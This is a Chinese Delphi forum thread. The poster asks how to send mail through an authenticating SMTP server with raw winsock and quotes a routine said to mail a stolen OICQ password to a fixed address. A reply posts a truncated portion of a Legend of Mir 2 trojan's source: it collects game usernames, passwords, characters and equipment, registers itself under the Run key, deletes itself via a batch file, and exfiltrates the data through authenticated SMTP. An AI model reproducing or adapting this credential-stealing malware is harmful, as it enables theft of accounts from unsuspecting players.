100分求怎么在需认证服务器上发送邮件(只引用winsock单元)(100分)

  • 主题发起人 主题发起人 liveinwind
  • 开始时间 开始时间
L

liveinwind

Unregistered / Unconfirmed
GUEST, unregistred user!
uses
winsock;

(一):怎么在需认证服务器上发送邮件(想不使用控件),我是第一次接触这个问题,实在不知道.
(二):另外可不可以在给出一个Delphi7.0下发送邮件的源码(我听说Delphi7.0已经去掉了NMSMTP。用INDY控件代替了).
我看到的一个发信过程:不过没有服务器验证.(也不知道对不对)

//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;

望各位大侠帮忙:
 
hehe,不用控件,偶喜欢.
SMTP几个步骤都是对的,就是有几点要注意:
对于使用邮件转发器的主机来说,需要先查询dns的mx记录.
没考虑很多扩展命令.
正文部分(第5步)没有编码,这会导致非asc字符的错误理解,建议用base64编一下.
 
给出个具体实现好吗?
 
我来给你一份传奇2木马源码的一部分,其中包含winsock发信过程,希望对你有所帮助。
program Main;


uses
Windows,ThreadUnit, TLHelp32,IniFiles,Wininet ,Messages ,SysUtils, winsock,
Reg in 'Reg.pas',
Other in 'Other.pas',
WinPerf in 'WinPerf.pas',
Pdh in 'Pdh.pas';


Const
cOsUnknown : Integer = -1;
cOsWin95 : Integer = 0;
cOsWin98 : Integer = 1;
cOsWin98SE : Integer = 2;
cOsWinME : Integer = 3;
cOsWinNT : Integer = 4;
cOsWin2000 : Integer = 5;
cOsWhistler : Integer = 6;

var
WinClass:TWndClassA;
Inst,Handle,KeyHook,Newtime:Integer;
Msg:TMsg;
LogoID:array[0..255] of char;//String;
Str:array[1..19] of array[0..255] of char;
PWhand:Longint;
LogoArea:string;
Filereadok:boolean;
serverbutton:array of Tpoint;
UserName,PassWord,Quyu,ServerNick,ZhuangBei:String;
Js1Name,Js1ZhiYe,Js1Dengji,Js1Xingbei:String;
Js2Name,Js2ZhiYe,Js2Dengji,Js2Xingbei:String;
Flag,Flag1,Flag2:Boolean;
zb1,zb2,zb3,zb4,zb5,zb6,zb7,zb8,zb9,zb10,zb11,zb12,zb13,zb14,zb15,zb16,zb17,zb18,zb19:String;
SafeFilse:File;
PGetMail:String;
PSmtp:String;
Puser:String;
PPass:String;
const
ClassName='TCQ2004';
ExeFiles='RUN_DLL32.EXE';
//DLLFiles='WinSoft3.DLL';
CRLF=#13#10;
BaseTable:string='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

{$R cq.RES}
{安装目录路径}

function FindInTable(CSource:char):integer;
begin
result:=Pos(string(CSource),BaseTable)-1;
end;

function EncodeBase64(Source:string):string;
var
Times,LenSrc,i:integer;
x1,x2,x3,x4:char;
xt:byte;
begin
result:='';
LenSrc:=length(Source);
if LenSrc mod 3 =0 then Times:=LenSrc div 3
else Times:=LenSrc div 3 + 1;
for i:=0 to times-1 do
begin
if LenSrc >= (3+i*3) then
begin
x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
xt:=(ord(Source[1+i*3]) shl 4) and 48;
xt:=xt or (ord(Source[2+i*3]) shr 4);
x2:=BaseTable[xt+1];
xt:=(Ord(Source[2+i*3]) shl 2) and 60;
xt:=xt or (ord(Source[3+i*3]) shr 6);
x3:=BaseTable[xt+1];
xt:=(ord(Source[3+i*3]) and 63);
x4:=BaseTable[xt+1];
end
else if LenSrc>=(2+i*3) then
begin
x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
xt:=(ord(Source[1+i*3]) shl 4) and 48;
xt:=xt or (ord(Source[2+i*3]) shr 4);
x2:=BaseTable[xt+1];
xt:=(ord(Source[2+i*3]) shl 2) and 60;
x3:=BaseTable[xt+1];
x4:='=';
end else
begin
x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
xt:=(ord(Source[1+i*3]) shl 4) and 48;
x2:=BaseTable[xt+1];
x3:='=';
x4:='=';
end;
result:=result+x1+x2+x3+x4;
end;
end;



//20030907
function LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;

function HostToIP(Name: string; var Ip: string): Boolean;
var
wsdata : TWSAData;
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAStartup ($0101, wsdata);
try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else
Result := False;
end
else
Result := False
else begin
Result := False;
end;
finally
WSACleanup;
end
end;

function StartNet(host:string;port:integer;var sock:integer):Boolean;
var wsadata:twsadata;
FSocket:integer;
SockAddrIn:TSockAddrIn;
err:integer;
IP:String;
begin
err:=WSAStartup($0101,WSAData);
FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
if FSocket=invalid_socket then begin
Result:=False;
Exit;
end;
//20030907
if HostToIP(host,IP) then
begin
//SockAddrIn.sin_addr:=LookupName(host);
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(IP));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(port);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
if err=0 then begin
sock:=FSocket;
Result:=True;
end else Result:=False;
end;
end;

procedure StopNet(Fsocket:integer);
var err:integer;
begin
err:=closesocket(FSocket);
err:=WSACleanup;
end;

function SendData(FSocket:integer;SendStr:string):integer;
var DataBuf:array[0..4096] of char;
err:integer;
begin
strcopy(DataBuf,pchar(SendStr));
err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
Result:=err;
end;

function GetData(FSocket:integer):String;
const MaxSize=1024;
var DataBuf:array[0..MaxSize] of char;
err:integer;
begin
err:=recv(FSocket,DataBuf,MaxSize,0);
Result:=Strpas(DataBuf);
end;

function GetMailText:String;
begin
Result:='用户名:'+UserName+ CRLF
+'密 码:'+PassWord+ CRLF
+'区 域:'+QuYu+ CRLF
+'服务器:'+ServerNick + CRLF
+'角色名称1:'+Js1Name + CRLF
+'角色职业1:'+Js1ZhiYe + CRLF
+'角色等级1:'+Js1Dengji + CRLF
+'角色性别1:'+Js1Xingbei + CRLF
+'角色名称2:'+Js2Name + CRLF
+'角色职业2:'+Js2ZhiYe + CRLF
+'角色等级2:'+Js2Dengji + CRLF
+'角色性别2:'+Js2Xingbei + CRLF
+'角色装备:'+ZhuangBei + CRLF
end;


function Windowspath :string;
var sysdir:array [0..255] of char;
begin
GetWindowsDirectory(sysdir,255);
Result :=sysdir;
if copy(Result,length(Result),1)<>'/' then
Result:=Result+'/';
end;


function WinisNT :Bool;
var osvi:OSVERSIONINFO;
begin
osvi.dwOSVersionInfoSize :=sizeof(osversioninfo);;
getversionex(osvi);
if osvi.dwPlatformId=VER_PLATFORM_WIN32_NT then
Result:=True
else
Result:=False;
end;


procedure DelMe;
var
F : textfile;
BatchFileName: string;
ProcessInfo : TProcessInformation;
StartUpInfo : TStartupInfo;
begin
DelValue(HKEY_CURRENT_USER,'Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp','NoRealMode');
BatchFileName:= Windowspath+'Deleteme.bat';
AssignFile(F,BatchFileName);
Rewrite(F);
WriteLn(F,':try');
WriteLn(F,'del "' + ParamStr(0) + '"');
WriteLn(F,'if exist "' + ParamStr(0) + '"' + ' goto try');
WriteLn(F,'del %0');
CloseFile(F);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;


function GetEXEPathInfo(ProcID : DWORD;ExeName:String):String;
var
snap : THandle;
me32 : TMODULEENTRY32;
begin
snap := 0;

try
snap := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
ProcID);
if snap <> 0 then begin
me32.dwSize := SizeOf(TMODULEENTRY32);
if Module32First(snap, me32) then begin
if me32.th32ProcessID = ProcID then
if LowerCase(ExtractFileName(ExeName))=LowerCase(me32.szModule) then
begin
Result :=String(me32.szExePath);
Exit;
end;
while Module32Next(snap, me32) do begin
if me32.th32ProcessID = ProcID then begin
if LowerCase(ExtractFileName(ExeName))=LowerCase(me32.szModule) then
begin
Result :=String(me32.szExePath);
break;
end;
end;
end;
end;
end;
finally
CloseHandle(snap);
end;
end;

function IsMirFtpini:String;//返回包含传奇的INI文件
var
isOK:Boolean;//是否成功列出系统进程
ProcessHandle:Thandle;
ProcessStruct:TProcessEntry32;
begin
Result:='C:/Program Files/Shanda/Legend of Mir/ftp.ini';//返回传奇ini文件地址
ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);//列出系统进程并取得系统进程句柄
processStruct.dwSize:=sizeof(ProcessStruct);
isOK:=process32first(ProcessHandle,ProcessStruct);
while isOK do
begin
if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('MIR.DAT') then//进程名
begin//取得传奇存放ftp.ini的路径 Result:=ExtractFilePath(GetEXEPathInfo(ProcessStruct.th32ProcessID,
ProcessStruct.szExeFile)) +'ftp.ini';
Break;
end;
isOK:=process32next(ProcessHandle,ProcessStruct);
end;
CloseHandle(ProcessHandle);
end;

function GetServerName(Y:integer;var count:String):String;//获取传奇服务器名称
var
i,k:integer;
Myinifile: Tinifile;
INIFileName: String;

begin
INIFileName:=IsMirFtpini;//调用自定义函数IsMirFtpini获取ftp.ini文件路径
if FileExists(INIFileName) then
begin
Myinifile := Tinifile.Create(INIFileName);
try
K:=Strtoint(Myinifile.Readstring('Server', 'ServerCount', '1'));//读取ftp.ini文件的Server节点中参数ServerCount的值(一共有多少个区)
except
end;

Case K Of//通过获取的鼠标单击纵向y值判断所选择的服务器并存入变量i中
1:begin
i:=1;
end;
2:begin
if (y>267) and (y<309) then i:=1 else
if (y>309) and (y<351) then i:=2 else i:=1;
end;
3:begin
if (y>246) and (y<288) then i:=1 else
if (y>288) and (y<330) then i:=2 else
if (y>330) and (y<372) then i:=3 else i:=1;
end;
4:begin
if (y>225) and (y<267) then i:=1 else
if (y>267) and (y<309) then i:=2 else
if (y>309) and (y<351) then i:=3 else
if (y>351) and (y<393) then i:=4 else i:=1;
end;
5:begin
if (y>204) and (y<246) then i:=1 else
if (y>246) and (y<288) then i:=2 else
if (y>288) and (y<330) then i:=3 else
if (y>330) and (y<372) then i:=3 else
if (y>372) and (y<414) then i:=4 else i:=1;
end;
6:begin
if (y>183) and (y<225) then i:=1 else
if (y>225) and (y<267) then i:=2 else
if (y>267) and (y<309) then i:=3 else
if (y>309) and (y<351) then i:=4 else
if (y>351) and (y<393) then i:=5 else
if (y>393) and (y<435) then i:=6 else i:=1;
end;
7:begin
if (y>162) and (y<204) then i:=1 else
if (y>204) and (y<246) then i:=2 else
if (y>246) and (y<288) then i:=3 else
if (y>288) and (y<330) then i:=4 else
if (y>330) and (y<372) then i:=5 else
if (y>372) and (y<414) then i:=6 else
if (y>414) and (y<456) then i:=8 else i:=1;
end;
8:begin
if (y>141) and (y<183) then i:=1 else
if (y>183) and (y<225) then i:=2 else
if (y>225) and (y<267) then i:=3 else
if (y>267) and (y<309) then i:=4 else
if (y>309) and (y<351) then i:=5 else
if (y>351) and (y<393) then i:=6 else
if (y>393) and (y<435) then i:=7 else
if (y>435) and (y<477) then i:=8 else i:=1;
end;
end;
count:=inttostr(i);
Result:=Myinifile.Readstring('Server', Pchar('server'+inttostr(i)+'caption'), '未知区域');
//返回具体的服务器名称
Myinifile.Free;
end;
End;

procedure SetInfor;
begin
zb1:='圣战头盔';
zb2:='天尊头盔';
zb3:='法神头盔';
zb4:='圣战项链';
zb5:='天尊项链';
zb6:='法神项链';
zb7:='圣战手镯';
zb8:='天尊手镯';
zb9:='法神手镯';
zb10:='圣战戒指';
zb11:='天尊戒指';
zb12:='法神戒指';
zb13:='传送戒指';
zb14:='复活戒指';
zb15:='记忆全套';
zb16:='麻痹戒指';
zb17:='隐身戒指';
zb18:='怒斩';
zb19:='护身戒指';
UserName:='';
PassWord:='';
QuYu:='';
Js1Name:='';
Js1ZhiYe:='';
Js1Dengji:='';
Js1Xingbei:='';
Js2Name:='';
Js2ZhiYe:='';
Js2Dengji:='';
Js2Xingbei:='';
ZhuangBei:='';
Flag:=False;
Flag1:=False;
Flag2:=False;
Reg.AddValue(HKEY_CURRENT_USER,'SoftWare/Microsoft/Windows/CurrentVersion/Run',ExeFiles,pchar(ExeFiles),1);
end;


function PostURL(const aUrl: string;FTPostQuery:String): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr:String;
HostName, FileName: String;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: String; var HostName, FileName: String);
procedure ReplaceChar(c1, c2: Char; var St: String);
var
p: Integer;
begin
while True do
begin
p := Pos(c1, St);
if p = 0 then Break
else St[p] := c2;
end;
end;
var
i: Integer;
begin
if Pos('http://', LowerCase(URL)) <> 0 then
System.Delete(URL, 1, 7);
i := Pos('/', URL);
HostName := Copy(URL, 1, i);
FileName := Copy(URL, i, Length(URL) - i + 1);
if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
SetLength(HostName, Length(HostName) - 1);
end;
begin
hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
if Assigned(hSession) then
begin
ParseURL(aUrl, HostName, FileName);
hConnect := InternetConnect(hSession, PChar(HostName),
INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);

AcceptType := PChar('Accept: */*');

hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
//
HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
PChar(FTPostQuery), Length(FTPostQuery));

dwIndex := 0;
dwBufLen := 1024;
GetMem(Buf, dwBufLen);
FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
Buf, dwBufLen, dwIndex);
if FTResult=True then
try
while True do
begin
dwBytesRead := 1024;
InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
if dwBytesRead = 0 then break;
lpBuffer[dwBytesRead] := #0;
HttpStr:=HttpStr+lpBuffer;
end;
if pos('添加成功',HttpStr)>0 then
Result := True
else Result := False;
//Form1.Memo1.Lines.Add(Httpstr);
finally
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
end;
end;
finally
InternetCloseHandle(hSession);
end;
end;


procedure SendEMail;
var FSocket,res:integer;
Subject,MailText,SendBody:String;
Tomail:String;
failed:boolean;
begin
MailText:=GetMailText;
if StartNet(PSmtp, 25, FSocket) then
begin
SendData(FSocket, 'HELO ' +PSmtp+ CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'auth login' + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, EncodeBase64(Puser) + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, EncodeBase64(PPass) + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'MAIL FROM: <' + PGetMail + '>' + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'RCPT TO: <' + PGetMail + '>' + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'DATA' + CRLF);
Tomail:= getdata(FSocket);
SendBody := 'From:"'+Puser+'"<' + PGetMail + '>' + CRLF
+ 'To:"'+Puser+'"<' + PGetMail + '>' + CRLF
+ 'Subject:'+ QUYU + CRLF

 
如果楼主知道如何获取某个进程对外访问网络的IP和端口,请告诉我,我高分重谢。
 
后退
顶部